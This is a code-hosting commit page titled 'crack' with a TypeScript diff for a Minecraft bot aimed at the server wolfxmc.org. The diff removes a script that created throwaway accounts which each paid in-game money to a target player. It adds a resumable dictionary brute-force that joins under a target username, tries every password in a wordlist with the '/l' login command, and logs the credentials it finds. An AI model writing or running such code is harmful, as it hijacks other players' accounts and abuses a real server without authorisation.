Commit 7f8eb40f authored by nanahira's avatar nanahira

crack

parent eb73da32
...@@ -114,3 +114,4 @@ Dockerfile ...@@ -114,3 +114,4 @@ Dockerfile
.idea .idea
stack stack
/dict.txt /dict.txt
/data
...@@ -108,3 +108,4 @@ dist ...@@ -108,3 +108,4 @@ dist
/config.yaml /config.yaml
.idea .idea
/dict.txt /dict.txt
/data
import { Bot, ChatMessage, createBot } from "mineflayer"; import { Bot, ChatMessage, createBot } from "mineflayer";
import crypto from "crypto"; import crypto from "crypto";
import { delay } from "q"; import { delay } from "q";
import { messageLoggedIn, messageRegisterFailed, messageWaitForLogin, messageWaitForRegister } from "./constants"; import { messageLoggedIn, messageLoginFailed, messageRegisterFailed, messageWaitForLogin, messageWaitForRegister } from "./constants";
import { Minecraft } from "./minecraft";
import { promises as fs } from "fs";
import { last, lastIndexOf } from "lodash";
import Logger from "bunyan";
let exitCode = 1; async function createMinecraftInstance(username: string) {
const mc = new Minecraft({
function randomString(len: number) { username,
return crypto.randomBytes(Math.ceil(len / 2)).toString('hex').slice(0, len); host: 'wolfxmc.org',
}; port: 25565
}, Logger.WARN);
function getChatMessageTexts(rawMessage: ChatMessage): string[] { await mc.waitForMessage(messageWaitForLogin, [messageWaitForRegister]);
const messageObjects = (rawMessage.json as any).extra as any[]; return mc;
if (!messageObjects) {
return [];
}
return messageObjects.map(messageObject => messageObject.text as string);
} }
type MessageQueueMap = Map<string, (message: string) => void>; async function tryPassword(mc: Minecraft, password: string) {
mc.bot.chat(`/l ${password}`);
function waitForMessage(messageWaitQueue: MessageQueueMap, messageToResolve: string, messagesToReject?: string[]): Promise<string> { try {
return new Promise((resolve, reject) => { await mc.waitForMessage(messageLoggedIn, messageLoginFailed);
messageWaitQueue.set(messageToResolve, (message: string) => { return true;
resolve(message); } catch (e) {
}); return false;
if (messagesToReject) { }
for (let messageToReject of messagesToReject) {
messageWaitQueue.set(messageToReject, (message: string) => {
reject(message);
});
}
}
});
} }
async function runOnce(targetUser: string) { async function runOnce(targetUser: string) {
const username = randomString(10); let lastSequence = 0;
const password = randomString(8); try {
const messageWaitQueue: MessageQueueMap = new Map(); lastSequence = JSON.parse(await fs.readFile("./data/last.json", "utf-8")).lastSequence;
console.error(`Creating bot ${username} ${password}.`); console.log(`Will start from ${lastSequence}.`);
const bot = createBot({ } catch (e) {
username, console.log(`Will start from beginning.`);
host: 'wolfxmc.org', }
port: 25565 const dict = (await fs.readFile("./data/dict.txt", "utf-8")).split("\n");
}); let mc: Minecraft;
bot.on('message', (message) => {
const messageLines = getChatMessageTexts(message);
for (let line of messageLines) {
console.error(`Message: ${line}`);
if (line.match(/已发送到/)) {
line = '_send_success';
}
if (messageWaitQueue.has(line)) {
const fun = messageWaitQueue.get(line);
messageWaitQueue.delete(line);
fun(line);
}
}
});
bot.on('end', () => {
console.error(`Bot disconnected.`);
process.exit(exitCode);
});
//await waitBotLogin(bot); //await waitBotLogin(bot);
//await delay(1000); //await delay(1000);
try { try {
console.error(`Waiting for connect.`); for (let i = lastSequence; i < dict.length; ++i) {
await waitForMessage(messageWaitQueue, messageWaitForRegister, [messageWaitForLogin]); if (!mc || mc.died) {
console.error(`Registering.`); console.log("Connecting.");
bot.chat(`/reg ${password} ${password}`); mc = await createMinecraftInstance(targetUser);
await waitForMessage(messageWaitQueue, messageLoggedIn, messageRegisterFailed); }
console.error(`Paying 1000 to ${targetUser}.`); await fs.writeFile("./data/last.json", JSON.stringify({ lastSequence: i }));
bot.chat(`/pay ${targetUser} 1000`); const password = dict[i];
await waitForMessage(messageWaitQueue, '_send_success'); console.log(`Trying password ${password}`)
console.log(`Success.`); if (await tryPassword(mc, password)) {
exitCode = 0; console.log(`Success. Username: ${targetUser} Password: ${password}`);
break;
}
}
} catch (e) { } catch (e) {
console.log(`Failed: ${e.toString()}`); console.log(`Failed: ${e.toString()}`);
exitCode = 2;
} finally { } finally {
bot.end(); mc.bot.end();
console.error(`Finished.`); console.error(`Finished.`);
} }
} }
......
import { Bot, BotOptions, ChatMessage, createBot } from "mineflayer"; import { Bot, BotOptions, ChatMessage, createBot } from "mineflayer";
import Bunyan from "bunyan"; import Bunyan, { LogLevel } from "bunyan";
export type MessageQueueMap = Map<string, (message: string) => void>; export type MessageQueueMap = Map<string, (message: string) => void>;
...@@ -33,8 +33,8 @@ export class Minecraft { ...@@ -33,8 +33,8 @@ export class Minecraft {
} }
} }
} }
constructor(options: BotOptions) { constructor(options: BotOptions, debugLevel?: LogLevel) {
this.log = Bunyan.createLogger({ name: options.username }); this.log = Bunyan.createLogger({ name: options.username, level: debugLevel });
this.options = options; this.options = options;
this.bot = createBot(options); this.bot = createBot(options);
this.messageWaitQueue = new Map(); this.messageWaitQueue = new Map();
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment